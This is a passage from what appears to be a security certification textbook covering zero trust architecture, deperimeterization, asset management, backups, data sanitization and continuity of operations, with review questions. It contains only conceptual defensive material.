Additionally, consumers and organizations need more awareness of the security
risks associated with IoT devices. Many users and organizations do not realize that
their devices are vulnerable to cyberattacks and may not take the necessary steps
to protect themselves, such as changing default passwords or updating firmware.

Best Practice Guidance for IoT

The following provide guidance regarding the secure implementation of IoT:
• The Internet of Things Security Foundation (IoTSF) - https://
iotsecurityfoundation.org

• Industrial Internet Consortium (IIC) Security Framework - https://www.

iiconsortium.org/iisf/

• Cloud Security Alliance (CSA) IoT Security Controls Framework - https://

cloudsecurityalliance.org/artifacts/iot-security-controls-framework

• European Telecommunications Standards Institute (ETSI) IoT Security

Standards - https://www.etsi.org/technologies/consumer-iot-security

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Deperimeterization and Zero Trust

The Emerging Need for Zero Trust Architectures (ZTA)
Organizations’ increased dependence on information technology has driven
requirements for services to be always on, always available, and accessible from
anywhere. Cloud platforms have become an essential component of technology
infrastructures, driving broad software and system dependencies and widespread
platform integration. The distinction between inside and outside is gone. For an
organization leveraging remote workforces, running a mix of on-premises and
public cloud infrastructure, and using outsourced services and contractors, the
opportunity for breach is very high. Staff and employees are using computers
attached to home networks, or worse, unsecured public Wi-Fi. Critical systems
are accessible through various external interfaces and run software developed by
outsourced, contracted external entities. In addition, many organizations design
their environments to accommodate Bring Your Own Device (BYOD.)
As these trends continue, implementing Zero Trust architectures will become more
critical. Zero Trust architectures assume that nothing should be taken for granted
and that all network access must be continuously verified and authorized. Any user,
device, or application seeking access must be authenticated and verified. Zero Trust
differs from traditional security models based on simply granting access to all users,
devices, and applications contained within an organization’s trusted network.
NIST SP 800-207 “Zero Trust Architecture” defines Zero Trust as “cybersecurity
paradigms that move defenses from static, network-based perimeters to focus
on users, assets, and resources.” A Zero Trust architecture can protect data,
applications, networks, and systems from malicious attacks and unauthorized
access more effectively than a traditional architecture by ensuring that only
necessary services are allowed and only from appropriate sources. Zero Trust
enables organizations to offer services based on varying levels of trust, such as
providing more limited access to sensitive data and systems.

NIST SP 800-207 - https://csrc.nist.gov/publications/detail/sp/800-207/final.

CISA's Zero Trust Maturity Model - https://www.cisa.gov/zero-trust-maturity-model

Deperimeterization
Deperimeterization refers to a security approach that shifts the focus from
defending a network’s boundaries to protecting individual resources and data
within the network. As organizations adopt cloud computing, remote work,
and mobile devices, traditional perimeter-based security models become less
effective in addressing modern threats. Deperimeterization concepts advocate
for implementing multiple security measures around individual assets, such as
data, applications, and services. This approach includes robust authentication,
encryption, access control, and continuous monitoring to maintain the security
of critical resources, regardless of their location.

Trends Driving Deperimeterization

• Cloud—Enterprise infrastructures are typically spread between on-premises
and cloud platforms. In addition, cloud platforms may be used to distribute
computing resources globally.

• Remote Work—More and more organizations have adopted either part-time

or full-time remote workforces. This remote workforce expands the enterprise

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footprint dramatically. In addition, employees working from home are more

susceptible to security lapses when they connect from insecure locations and
use personal devices.

• Mobile—Modern smartphones and tablets are often used as primary computing

devices as they have ample processer, memory, and storage capacity. More
and more corporate data is accessed through these devices as their capabilities
expand. Mobile devices and their associated operating systems have varying
security features, and many devices are not supported by vendors shortly after
release, meaning they cannot be updated or patched. In addition, mobile devices
are often lost or stolen.

• Outsourcing and Contracting—Support arrangements often provide remote

access to external entities, and this access can often mean that the external
provider’s network serves as an entry point to the organizations they support.

• Wireless Networks (Wi-Fi)—Wireless networks are susceptible to an ever-

increasing array of exploits, but oftentimes wireless networks are open and
unsecured or the network security key is well known.

The Key Benefits of a Zero Trust Architecture

• Greater security—Requires all users, devices, and applications to be
authenticated and verified before network access.

• Better access controls—Include more stringent limits regarding who or what

can access resources and from what locations.

• Improved governance and compliance—Limit data access and provide greater

operational visibility on user and device activity.

• Increased granularity—Grants users access to what they need when they

need it.

A Zero Trust architecture requires a thorough understanding of the many

components and technologies used within an organization’s network. The following
list outlines the essential components of a Zero Trust architecture:
• Network and endpoint security—Controls access to applications, data, and
networks.

• Identity and access management (IAM)—Ensures only verified users can

access systems and data.

• Policy-based enforcement—Restricts network traffic to only legitimate

requests.

• Cloud security—Manages access to cloud-based applications, services, and

data.

• Network visibility—Analyzes network traffic and devices for suspicious activity.

• Network segmentation—Controls access to sensitive data and capabilities

from trusted locations.

• Data protection—Controls and secures access to sensitive data, including

encryption and auditing.

• Threat detection and prevention—Identifies and prevents attacks against the

network and the systems connected to it.

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Zero Trust Security Concepts

Zero trust is a security model that assumes that all devices, users, and services
are not inherently trusted, regardless of whether inside or outside a network’s
perimeter. Instead, the zero trust model requires all users and devices to be
authenticated and authorized before accessing network resources. The zero trust
model includes several fundamental concepts that provide a comprehensive
security solution.
• Adaptive identity recognizes that user identities are not static and that identity
verification must be continuous and based on a user’s current context and the
resources they are attempting to access.

• Threat scope reduction means that access to network resources is granted on

a need-to-know basis, and access is limited to only those resources required to
complete a specific task. This concept reduces the network’s attack surface and
limits the damage that a successful attack can cause.

• Policy-driven access control describes how access control policies are used to
enforce access restrictions based on user identity, device posture, and network
context.

Device posture refers to the security status of a device, including its security
configurations, software versions, and patch levels. In a security context, device posture
assessment involves evaluating the security status of a device to determine whether it
meets certain security requirements or poses a risk to the network.

Significance of Control and Data Planes in Zero Trust Models

In a zero trust architecture, the control and data planes are implemented separately
and have different functions.

Components in NIST’s zero trust architecture framework.

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The control plane manages policies that dictate how users and devices are
authorized to access network resources. It is implemented through a centralized
policy decision point. The policy decision point is responsible for defining policies
that limit access to resources on a need-to-know basis, monitoring network
activity for suspicious behavior, and updating policies to reflect changing network
conditions and security threats. The policy decision point is comprised of two
subsystems:
• The policy engine is configured with subject and host identities and credentials,
access control policies, up-to-date threat intelligence, behavioral analytics,
and other results of host and network security scanning and monitoring. This
comprehensive state data allows it to define an algorithm and metrics for
making dynamic authentication and authorization decisions on a per-request
basis.

• The policy administrator is responsible for managing the process of issuing

access tokens and establishing or tearing down sessions, based on the decisions
made by the policy engine. The policy administrator implements an interface
between the control plane and the data plane.

Where systems in the control plane define policies and make decisions, systems
in the data plane establish sessions for secure information transfers. In the data
plane, a subject (user or service) uses a system (such as a client host PC, laptop,
or smartphone) to make requests for a given resource. A resource is typically an
enterprise app running on a server or cloud. Each request is mediated by a policy
enforcement point. The enforcement point might be implemented as a software
agent running on the client host that communicates with an app gateway. The
policy enforcement point interfaces with the policy administrator to set up a secure
data pathway if access is approved, or tear down a session if access is denied or
revoked.

The processes implementing the policy enforcement point are the only ones permitted to
interface with the policy administrator. It is critical to establish a root of trust for these
processes so that policy decisions cannot be tampered with.

The data pathway established between the policy enforcement point and the
resource is referred to as an implicit trust zone. For example, the outcome of a
successful access request might be an IPsec tunnel established between a digitally
signed agent process running on the client, a trusted web application gateway, and
the resource server. Because the data is protected by IPsec transport encryption,
no tampering by anyone with access to the underlying network infrastructure
(switches, access points, routers, and firewalls) is possible.
The goal of zero trust design is to make this implicit trust zone as small as
possible, and as transient as possible. Trusted sessions might only be established
for individual transactions. This granular or microsegmented approach is in
contrast with perimeter-based models, where trust is assumed once a user has
authenticated and joined the network. In zero trust, place in the network is not a
sufficient reason to trust a subject request. Similarly, even if a user is nominally
authenticated, behavioral analytics might cause a request to be blocked or a
session to be terminated.

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Separating the control plane and data plane is significant because it allows for
a more flexible and scalable network architecture. The centralized control plane
ensures consistency for access request handling across both the managed
enterprise network and unmanaged Internet or third-party networks, regardless
of the devices being used or the user’s location. This makes managing access
control policies and monitoring network activity for suspicious behavior easier.
Continuous monitoring via the independent control plane means that sessions can
be terminated if anomalous behavior is detected.

Zero Trust Architecture Examples

Example Description
Google BeyondCorp Google’s BeyondCorp is a widely recognized
example of a zero trust security architecture.
BeyondCorp uses a system of multiple security
layers, including identity verification, device
verification, and access control policies, to
secure Google’s internal network. This has
enabled Google to provide its employees with
remote access to company resources while
maintaining high security.
Joint Enterprise Defense The DoD’s JEDI cloud is a major project to
Infrastructure (JEDI) modernize the department’s IT infrastructure.
The JEDI cloud is based on a zero trust
architecture that uses access control policies
and other security measures to ensure that
only authorized users and devices can access
DoD resources.
Cisco Zero Trust Architecture Cisco has developed a comprehensive zero
trust security architecture incorporating
network segmentation, access control
policies, and threat detection and response
capabilities. The architecture is designed to
protect against a wide range of cyber threats,
including insider threats and external attacks.
Palo Alto Networks Prisma Prisma Access is a cloud-delivered security
Access service that uses a zero trust architecture
to secure network traffic. It provides secure
access to cloud and Internet resources while
also preventing data exfiltration and other
cyber threats.

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Review Activity:
Embedded System and Zero Trust
Architecture
6

Answer the following questions:

1. What is a purpose-specific operating system with designs heavily focused

on high levels of stability and processing speed?

2. What are the systems control machinery that is used in critical

2.

infrastructure, like power suppliers, water suppliers, health services,

telecommunications, and national security services?

3. What are some factors contributing to the poor security characteristics

3.

of IoT devices?

4. What is a network security approach that shifts the focus from

defending a network’s boundaries to protecting individual resources
and data within the network?

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Lesson 6
Summary
5

You should be able to summarize virtualization and cloud computing concepts and
understand common cloud security concepts related to compute, storage, and
network functions.

Guidelines for Implementing Secure Cloud Solutions

Follow these guidelines for deploying or extending the use of cloud and
virtualization infrastructure:
• Assess requirements for availability and confidentiality that will determine
the appropriate cloud deployment model (public, hosted private, private,
community, or hybrid).

• Identify a service provisioning model (software, platform, or infrastructure) that

best fits the application requirement, given available development resources and
the degree of customization required.

• Consider whether the service or business needs could be better supported by

advanced concepts:

• Microservices, serverless, and orchestration focus on workflow requirements

rather than server administration.

• Benefits and common usage scenarios for software-defined networks.

• If using a CSP, create an SLA and security responsibility matrix to identify who
will perform security-critical tasks. Ensure that reporting and monitoring of cloud
security data is integrated with on-premises monitoring and incident response.

• Evaluate the security features of embedded devices and isolate them from other
network devices.

• Implement zero trust architecture concepts to validate connections and devices

instead of relying on “inside” and “outside” boundary concepts.

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 Lesson 7
Explain Resiliency and Site Security
Concepts
1

LESSON INTRODUCTION
Asset management, security architecture resilience, and physical security are crucial
concepts that underpin effective cybersecurity operations. Asset management
involves identifying, tracking, and safeguarding an organization’s assets, ranging
from hardware and software to data and intellectual property. By knowing what
assets exist, where they are, and their value to the organization, cybersecurity
teams can prioritize their efforts to protect the most critical assets from cyber
threats.
Security architecture resilience refers to the design and implementation of systems
and networks in a way that allows them to withstand and recover quickly from
disruptions or attacks. This includes redundancy, fail-safe mechanisms, and robust
incident response plans. By building resilience into the security architecture,
cybersecurity teams ensure that even if a breach occurs, the impact is minimized,
and normal operations can be restored quickly.
Physical security protects personnel, hardware, software, networks, and data
from physical actions and events that could cause severe damage or loss to an
organization. This includes controls like access badges, CCTV systems, and locks,
as well as sensors for intrusion detection. Physical security is a critical aspect of
cybersecurity, as a breach in physical security can lead to direct access to systems
and data, bypassing other cybersecurity measures.
Together, these concepts support cybersecurity operations, help protect against
a wide range of problems, and ensure the continuity of operations in the face of
disruptive events.

Lesson Objectives
In this lesson, you will do the following:
• Review important data backup concepts.

• Understand asset management practices.

• Explore high availability and resilience strategies.

• Review important physical security concepts.

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Topic 7A
Asset Management
2

EXAM OBJECTIVES COVERED

3.4 Explain the importance of resilience and recovery in security architecture.
4.2 Explain the security implications of proper hardware, software, and data asset
management.

Asset management is a critical component of effective cybersecurity operations.

It involves identifying, classifying, and inventorying an organization’s IT assets,
including hardware, software, data, and personnel. Effective asset management
enables organizations to understand their IT infrastructure, monitor for
unauthorized activity, and identify potential vulnerabilities. Asset management
is essential for ensuring that all devices and systems are appropriately secured,
patched, and updated to mitigate the risks of cyberattacks. Additionally, asset
management supports incident response activities, enabling security teams to
quickly identify and isolate affected assets during a security incident. By integrating
asset management into cybersecurity operations, organizations can strengthen
their security posture and better protect their valuable assets against cyber threats.

Asset Tracking
An asset management process tracks all the organization’s critical systems,
components, devices, and other objects of value in an inventory. It also involves
collecting and analyzing information about these assets so that personnel can make
informed changes or work with assets to achieve business goals.
There are many software suites and associated hardware solutions available for
tracking and managing assets. An asset management database can store as much
or as little information as necessary. Typical data would be type, model, serial
number, asset ID, location, user(s), value, and service information.

We are focusing on technical assets that require some degree of configuration.

An organization also has many assets with no configuration requirement, such
as furniture and buildings.

Asset Assignment/Accounting and Monitoring/Asset Tracking

Asset ownership assignment/accounting and classification are essential components
of a well-structured asset management process, ensuring that organizations effectively
manage and protect their resources while maintaining accountability.
Assigning asset ownership involves designating specific individuals or teams within
the organization as responsible for particular assets to establish a clear chain of
accountability for asset security, maintenance, and ongoing management. Asset
classification involves organizing assets based on their value, sensitivity, or criticality
to the organization. This enables the consistent and repeatable application of
required security controls, effective prioritization for maintenance and updates, and
appropriate budget allocation. Both processes need periodic reviews to account for
changes in asset value, sensitivity, or relevance to business operations.

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Monitoring/asset tracking activities include inventory and enumeration tasks,

which involve creating and maintaining a comprehensive list of all assets within the
organization, such as hardware, software, data, and network equipment. Regularly
updating and verifying the asset inventory helps organizations identify and manage
their assets effectively, ensuring they have accurate information about each asset’s
location, owner, and status. This information is vital for license management,
patch deployment, and security incident response. Asset monitoring also involves
tracking the performance, security, and usage of assets, allowing organizations to
detect potential issues, vulnerabilities, or unauthorized access promptly. Proactive
asset monitoring helps mitigate risks, optimize resource utilization, and ensure
compliance with regulatory requirements.
There are several ways to perform asset enumeration, depending on the size and
complexity of the organization and the types of assets involved:
• Manual Inventory—In smaller organizations or for specific asset types,
manually creating and maintaining an inventory of assets may be feasible. This
process involves physically inspecting assets, such as computers, servers, and
network devices, and recording relevant information, such as serial numbers,
make and model, and location.

• Network Scanning—Network scanning tools, such as Nmap, Nessus, or

OpenVAS, can automatically discover and enumerate networked devices,
including servers, switches, routers, and workstations. These tools can
identify open ports, services, and sometimes even the operating systems and
applications running on the devices.

• Asset Management Software—Asset management software solutions, such as

Lansweeper, ManageEngine, or SolarWinds, can automatically discover, track,
and catalog various types of assets, including hardware, software, and licenses.
These tools often provide a centralized dashboard for managing the asset
inventory, monitoring changes, and generating reports.

• Configuration Management Database (CMDB)—A CMDB is a centralized

repository of information related to an organization’s IT infrastructure, including
assets, configurations, and relationships. Tools like ServiceNow or BMC
Remedy can help create and maintain a CMDB, providing a holistic view of the
organization’s assets and interdependencies.

• Mobile Device Management (MDM) Solutions—For organizations with a

significant number of mobile devices, MDM solutions like Microsoft Intune,
VMware Workspace ONE, or MobileIron can help enumerate, manage, and
secure smartphones, tablets, and other mobile assets.

• Cloud Asset Discovery—With organizations increasingly adopting cloud

services, cloud-native tools, such as AWS Config or Azure Resource Graph, or
third-party solutions like CloudAware or CloudCheckr, can help discover and
catalog assets deployed in the cloud.

Asset Acquisition/Procurement
From the perspective of supporting cybersecurity operations, asset acquisition/
procurement, policies are critical in ensuring organizations maintain a robust
security posture. Key considerations include selecting hardware and software
solutions with strong security features, such as built-in encryption, secure boot
mechanisms, and regular updates or patches. It is crucial to work with reputable
vendors and manufacturers that prioritize security and provide ongoing support to
address potential vulnerabilities in their products.

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Additionally, organizations should consider procuring solutions that integrate

seamlessly with their existing security infrastructure, such as firewalls, intrusion
detection systems, or security information and event management (SIEM)
platforms. This facilitates a more cohesive and effective security strategy.
Moreover, organizations should assess the total cost of ownership (TCO) of the
assets, considering the initial purchase price along with the ongoing costs of
maintenance, updates, and potential security incidents. Prioritizing cybersecurity
during the asset acquisition and procurement process helps organizations build
a solid foundation for their security operations, reducing the risk of breaches,
enhancing compliance with relevant regulations, and ultimately protecting their
critical data and systems.

Asset Protection Concepts

From the perspective of cybersecurity operations, assets describe the critical
resources, information, and infrastructure components that must be protected
from potential threats and unauthorized access. The term “asset” encompasses
resources such as hardware devices, software applications, data repositories,
network components, and more. Asset protection is critical to maintaining an
organization’s information system’s integrity, confidentiality, and availability.
Cybersecurity teams are responsible for identifying and prioritizing these assets
based on their sensitivity and the potential impact on the organization’s core
functions if they are lost, stolen, or breached. Actively safeguarding assets
minimizes the potential impacts of security breaches and reduces the likelihood of
loss or damage.

Asset Identification and Standard Naming Conventions

Tangible assets can be identified using a barcode label or radio frequency ID (RFID)
tag attached to the device (or simply using an identification number). An RFID tag is
a chip programmed with asset data. When in range of a scanner, the chip activates
and signals the scanner. The scanner alerts management software to update the
device’s location. As well as asset tracking, this allows the management software to
track the device’s location, making theft more difficult.
A standard naming convention makes the environment more consistent for
hardware assets and for digital assets such as accounts and virtual machines.The
naming strategy should allow administrators to identify the type and function of
any particular resource or location at any point in the configuration management
database (CMDB) or network directory. Each label should conform to rules for host
and DNS names (support.microsoft.com/en-us/help/909264/naming-conventions-
in-active-directory-for-computers-domains-sites-and). As well as an ID attribute, the
location and function of tangible and digital assets can be recorded using attribute
tags and fields or DNS CNAME and TXT resource records.
Configuration management ensures that each configurable element within an
asset inventory has not diverged from its approved configuration. Change control
and change management reduce the risk that changes to these components could
cause an interruption to the organization’s operations.
ITIL® is a popular documentation framework of good and best practice activities
and processes for delivering IT services. Under ITIL, configuration management is
implemented using the following elements:
• Service assets are things, processes, or people that contribute to delivering an
IT service.

• A Configuration Item (CI) is an asset that requires specific management

procedures to be used to deliver the service. Each CI must be labeled, ideally

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using a standard naming convention. CIs are defined by their attributes and
relationships stored in a configuration management database (CMDB).

• A baseline configuration is a list of settings that an asset, such as a server or

application, must adhere to. Security baselines describe the minimum set
of security configuration settings a device or software must maintain to be
considered adequately protected.

• A configuration management system (CMS) describes the tools and databases

used to collect, store, manage, update, and report information about CIs. A small
network might capture this information in spreadsheets and diagrams, whereas
a large organization may invest in dedicated applications designed for enterprise
environments.

Diagrams are the best way to capture the complex relationships between network
elements. Diagrams illustrate the use of CIs in business workflows, logical (IP) and
physical network topologies, and network rack layouts.

Data Backups
Backups play an essential role in asset protection by ensuring the availability
and integrity of an organization’s critical data and systems. By creating copies of
important information and storing them securely in separate locations, backups are
a safety net in case of hardware failure, data corruption, or cyberattacks such as
ransomware. Regularly testing and verifying backup data is crucial to ensuring the
reliability of the recovery process.
In an enterprise setting, simple backup techniques often prove insufficient to address
large organizations’ unique challenges and requirements. Scalability becomes a
critical concern when vast amounts of data need to be managed efficiently. Simple
backup methods may struggle to accommodate growth in data size and complexity.
Performance issues caused by simple backup techniques can disrupt business
operations because they slow down applications while running and typically have
lengthy recovery times. Additionally, enterprises demand greater granularity and
customization to target specific applications, databases, or data subsets, which
simple techniques often fail to provide.
Compliance and security requirements necessitate advanced features such as
data encryption, access control, and audit trails that simplistic approaches typically
lack. Moreover, robust disaster recovery plans and centralized management are
essential components of an enterprise backup strategy. Simple backup techniques
might not support advanced features like off-site replication, automated failover,
or streamlined management of the diverse systems and geographic locations that
comprise a modern organization’s information technology environment.
Critical capabilities for enterprise backup solutions typically include the following
features:
• Support for various environments (virtual, physical, and cloud)

• Data deduplication and compression to optimize storage space

• Instant recovery and replication for quick failover

• Ransomware protection and encryption for data security

• Granular restore options for individual files, folders, or applications

• Reporting, monitoring, and alerting tools for effective management

• Integration with popular virtualization platforms, cloud providers, and

storage systems
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Data deduplication describes a data compression technique that optimizes storage

space by identifying and eliminating redundant data. It works by analyzing data
blocks within a dataset and comparing them to find identical blocks. Instead of
storing multiple copies of the same data, deduplication stores a single copy and
creates references or pointers to that copy for all other instances. Deduplication
can be performed at different levels, such as file-level, block-level, or byte-level.
Deduplication significantly minimizes storage requirements and improves data
transfer efficiency, particularly in backup and data replication processes, by
reducing the amount of duplicate data stored.

Backup Frequency
Many dynamics influence data backup frequency requirements, including data
volatility, regulatory requirements, system performance, architecture capabilities,
and operational needs. Organizations with highly dynamic data or stringent
regulatory mandates may opt for more frequent backups to minimize the risk of
data loss and ensure compliance. Conversely, businesses with relatively stable data
or less stringent regulatory oversight might choose less frequent backups, balancing
data protection, data backup costs, and maintenance overhead. Ultimately, the
optimal backup frequency is determined by carefully assessing an organization’s
regulatory requirements, unique needs, risk tolerance, and resources.

On-Site and Off-Site Backups

The need for on-site and off-site backups must be balanced, as they are crucial in
securing critical data and ensuring business continuity. On-site backups involve
storing data locally (in the same location as the protected systems) on devices
such as hard drives or tapes to provide rapid access and recovery in case of
data loss, corruption, or system failures. On the other hand, off-site backups
involve transferring data to a remote location to ensure protection against natural
disasters, theft, and other physical threats to local infrastructure, as well as
catastrophic system loss that can result from ransomware infection, for example.

Ransomware poses a significant threat to businesses and organizations by encrypting

vital data and demanding a ransom for its release. In many cases, ransomware attacks
also target backup infrastructure, hindering recovery efforts and further exacerbating
the attack's impact. Perpetrators often employ advanced techniques to infiltrate and
compromise both primary and backup systems, rendering them useless when needed.
Organizations can implement several strategies to defend against this risk, such as
maintaining air-gapped backups physically disconnected from the network, thereby
actively preventing ransomware from accessing and encrypting them.

Recovery Validation
Critical recovery validation techniques play a vital role in ensuring the effectiveness
and reliability of backup strategies. Organizations can identify potential issues
and weaknesses in their data recovery processes by testing backups and making
necessary improvements. One common technique is the full recovery test, which
involves restoring an entire system from a backup to a separate environment and
verifying the fully functional recovered system. This method helps ensure that all
critical components, such as operating systems, applications, and data, can be
restored and will function as expected.
Another approach is the partial recovery test, where selected files, folders, or
databases are restored to validate the integrity and consistency of specific data
subsets. Organizations can perform regular backup audits, checking the backup
logs, schedules, and configurations to ensure backups are created and maintained
as intended and required. Furthermore, simulating disaster recovery scenarios,

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such as hardware failures or ransomware attacks, provides valuable insights into

an organization’s preparedness and resilience. Recovery validation strategies are
essential because backups can complete with “100% success” but mask issues until
the backup set is used for a recovery.
Additionally, many organizations are unaware of the time required to perform a
recovery, as recovery times are often far longer than assumed!

Advanced Data Protection

Snapshots
Snapshots play a vital role in data protection and recovery, capturing the state of a
system at a specific point in time. Virtual Machine (VM), filesystem, and Storage Area
Network (SAN) snapshots are three different types, each targeting a particular level
of the storage hierarchy.
• VM snapshots, such as those created in VMware vSphere or Microsoft Hyper-V,
capture the state of a virtual machine, including its memory, storage, and
configuration settings. This allows administrators to roll back the VM to a
previous state in case of failures, data corruption, or during software testing.

• Filesystem snapshots, like those provided by ZFS or Btrfs, capture the state of
a file system at a given moment, enabling users to recover accidentally deleted
files or restore previous versions of files in case of data corruption.

• SAN snapshots are taken at the block-level storage layer within a storage area
network. Examples include snapshots in NetApp or Dell EMC storage systems,
which capture the state of the entire storage volume, allowing for rapid recovery
of large datasets and applications.

By utilizing VM, filesystem, and SAN snapshots, organizations can enhance their
data protection and recovery strategies, ensuring the availability and integrity of
their data across different storage layers and systems.

The checkpoint configuration section for a Hyper-V virtual machine. Checkpoints refer to Microsoft's
implementation of snapshot functionality. (Screenshot used with permission from Microsoft.)

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Replication and Journaling

Replication and journaling are data protection methods that ensure data availability
and integrity by maintaining multiple copies and tracking changes to data.
Replication involves creating and maintaining exact copies of data on different
storage systems or locations. Organizations can safeguard against data loss due to
hardware failures, human errors, or malicious attacks by having redundant copies
of the data. In the event of a failure, the replicated data can be utilized to restore
the system to its original state.
A practical example of replication is database mirroring, where an organization
maintains primary and secondary mirrored databases. Any changes made to the
primary database are automatically replicated to the secondary database, ensuring
data consistency and availability if the primary database encounters any issues.
On the other hand, journaling records changes to data in a separate, dedicated log
known as a journal. Organizations can track and monitor data modifications and
revert to previous states if necessary. Journaling is beneficial for data recovery
in system crashes. It enables the system to identify and undo any incomplete
transactions that might have caused inconsistencies, or replay transactions that
occurred after the full system backup was completed. This provides greater
granularity for restores and greatly minimize data loss. A practical example of
journaling is using file system journaling, such as the Journaled File System (JFS) or
the New Technology File System (NTFS), with journaling enabled. These file systems
maintain a record of all changes made to files, allowing for data recovery and
consistency checks after unexpected system shutdowns or crashes.
Remote journaling, SAN replication, and VM replication are advanced data
protection methods that maintain data availability and integrity across multiple
locations and systems. Remote journaling creates and maintains a journal of data
changes at a separate, remote location, allowing for data recovery and ensuring
business continuity in case of local failures, natural disasters, or malicious attacks.
SAN replication duplicates data from one SAN to another in real time or near
real time, providing redundancy and protection against hardware failures, human
errors, or data corruption. This technique involves synchronous replication, which
guarantees data consistency, and asynchronous replication, which is more cost-
effective but slightly less stringent in consistency.
Meanwhile, VM replication creates and maintains an up-to-date copy of a virtual
machine on a separate host or location, ensuring that a secondary VM can quickly
take over the workload in the event of a primary VM failure or corruption. By
implementing these methods, organizations can bolster their data protection
strategies, safeguarding against various risks and ensuring the availability and
integrity of their critical data and systems.

Encrypting Backups
Encryption of backups is essential for various reasons, primarily data security,
privacy, and compliance. By encrypting backups, organizations add an extra layer
of protection against unauthorized access or theft, ensuring that sensitive data
remains unreadable without the appropriate decryption key. This is particularly
crucial for businesses dealing with sensitive customer data, intellectual property,
or trade secrets, as unauthorized access can lead to severe reputational damage,
financial loss, or legal consequences.
Copies of sensitive data stored in backup sets are often overlooked, so many
industries and jurisdictions have regulations that mandate the protection of
sensitive data stored in backups. Encrypting backups helps organizations meet
these regulatory requirements and avoid fines, penalties, or legal actions resulting
from noncompliance.

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Secure Data Destruction

Several common circumstances may necessitate data destruction within an
organization to ensure security, compliance, and proper management of resources.
At the end of a data retention period, organizations must destroy data in
accordance with internal policies and external regulations while optimizing storage
resources. Legal and regulatory compliance, such as adhering to the General Data
Protection Regulation (GDPR) or the Health Insurance Portability and Accountability
Act (HIPAA), also requires the deletion or destruction of specific data when it is no
longer needed or if requested by the data subject. Periodically destroying obsolete
or outdated data can help maintain efficient storage utilization and reduce the risk
of data breaches.
Additionally, when decommissioning storage devices or systems, destroy any stored
data before disposal or repurposing to prevent unauthorized access to sensitive
information.

Asset Disposal
Asset disposal/decommissioning concepts focus on the secure and compliant
handling of data and storage devices at the end of their lifecycle or when they are
no longer needed. Some important concepts include the following:
Sanitization—Refers to the process of removing sensitive information from
storage media to prevent unauthorized access or data breaches. This process uses
specialized techniques, such as data wiping, degaussing, or encryption, to ensure
that the data becomes irretrievable. Sanitization is particularly important when
repurposing or donating storage devices, as it helps protect the organization’s
sensitive information and maintains compliance with data protection regulations.
Destruction—Involves the physical or electronic elimination of information stored
on media, rendering it inaccessible and irrecoverable. Physical destruction methods
include shredding, crushing, or incinerating storage devices, while electronic
destruction involves overwriting data multiple times or using degaussing techniques
to eliminate magnetic fields on storage media. Destruction is a crucial step in the
decommissioning process and ensures that sensitive data cannot be retrieved or
misused after the disposal of storage devices.
Certification—Refers to the documentation and verification of the data sanitization
or destruction process. This often involves obtaining a certificate of destruction
or sanitization from a reputable third-party provider, attesting that the data has
been securely removed or destroyed in accordance with industry standards and
regulations. Certification helps organizations maintain compliance with data
protection requirements, provides evidence of due diligence, and reduces the risk
of legal liabilities. Certifying data destruction without third-party involvement can be
challenging, as the latter provides an impartial evaluation.

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Active KillDisk data wiping software. (Screenshot used with permission from LSoft
Technologies, Inc.)

Files deleted from a magnetic-type hard disk are not fully erased. Instead, the
sectors containing the data are marked as available for writing, and the data they
contain are only removed as new files are added. Similarly, the standard Windows
format tool will only remove references to files and mark all sectors as usable. For
this reason, the standard method of sanitizing an HDD is called overwriting. This
can be performed using the drive’s firmware tools or a utility program. The most
basic type of overwriting is called zero filling, which sets each bit to zero. Single
pass zero filling can leave patterns that can be read with specialist tools. A more
secure method is to overwrite the content with one pass of all zeros, then a pass of
all ones, and then a third pass in a pseudorandom pattern. Some federal agencies
require more than three passes. Overwriting can take considerable time, depending
on the number of passes required.

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Review Activity:
Asset Management
3

Answer the following questions:

1. How does configuration management support cybersecurity operations?

2. What technology are snapshots most commonly associated with?

2.

3. True or false? Backup media can be on site, but offline.

3.

4. You are advising a company about backup requirements for a few dozen
4.

application servers hosting tens of terabytes of data. The company

requires online availability of short-term backups, plus off-site security
media and long-term archive storage. The company cannot use a cloud
solution. What type of on-premises storage solution is best suited to the
requirement?

5. Define data sanitization.

5.

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Topic 7B
Redundancy Strategies
6

EXAM OBJECTIVES COVERED

1.2 Summarize fundamental security concepts.
3.4 Explain the importance of resilience and recovery in security architecture.

Redundancy strategies are essential to an organization’s disaster recovery and

business continuity planning. These strategies include continuity of operations
planning (COOP), which involves developing processes and procedures to ensure
critical business functions can continue during and after a disruption. High
availability (HA) clustering uses redundant systems that can automatically take over
operations in case of a failure, minimizing downtime. Power redundancy ensures
critical infrastructure, such as datacenters, has backup power sources to continue
operations during an outage. Vendor diversity and defense in depth involve using
multiple vendors and layers of security to reduce the risk of single points of failure
and enhance overall redundancy. Regular testing, including tabletop exercises,
failover tests, and simulations, is essential to identify vulnerabilities, evaluate
response plans, and improve redundancy measures. By incorporating redundancy
strategies, organizations can reduce risks, minimize downtime, and ensure the
continuity of their critical business functions.

Continuity of Operations
Continuity of operations (COOP) refers to the process of ensuring that an
organization can maintain or quickly resume its critical functions in the event of
a disruption, disaster, or crisis. COOP concepts and strategies aim to minimize
downtime, protect essential resources, and maintain business resilience. Key
elements of a COOP plan include identifying critical business functions, establishing
priorities, and determining the resources needed to support these functions.
Strategies often involve creating redundancy for IT systems and data, such as
implementing off-site backups, failover systems, and disaster recovery solutions.
Additionally, organizations may consider alternative work arrangements, such as
remote work or co-location arrangements, to maintain operations during a crisis.
Developing clear communication and decision-making protocols ensures that
employees understand their roles and responsibilities during an emergency.
Regular testing and updating of continuity of operations plans (COOP) are crucial
to ensure the organization can maintain essential functions during and after
disruptive events. Realistic scenarios designed to simulate various disruptions, such
as natural disasters, cyberattacks, or pandemics, must be used to assess the plan’s
effectiveness. Testing methods often include tabletop exercises, isolated functional
tests, or full-scale drills. Each approach provides different levels of assurance and
must therefore use pre-established evaluation criteria for measuring performance.
In essence, COOP strategies focus on proactively preparing for disruptions,
ensuring that organizations can continue to deliver essential services and minimize
the impact of unforeseen events on their operations.

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Backups
Backups play a critical role in the continuity of operations plans (COOP) by
safeguarding against data loss and restoring systems and data in the event of
disruptions. Regular testing verifies the integrity and effectiveness of backups.
Testing backups helps ensure the backup process functions correctly by simulating
various scenarios and allows organizations to identify any issues or gaps in the
backup and recovery process. Testing backups validates the recoverability of
critical systems and data, reducing the risk of data loss and minimizing downtime
associated with disruptive events. Additionally, testing backups allows organizations
to assess their recovery plans, evaluate the speed and efficiency of their backup
systems, and ensure compliance with regulatory requirements. Inadequate backup
processes can lead to extended downtime, critical data loss, financial losses,
reputation damage, and noncompliance.

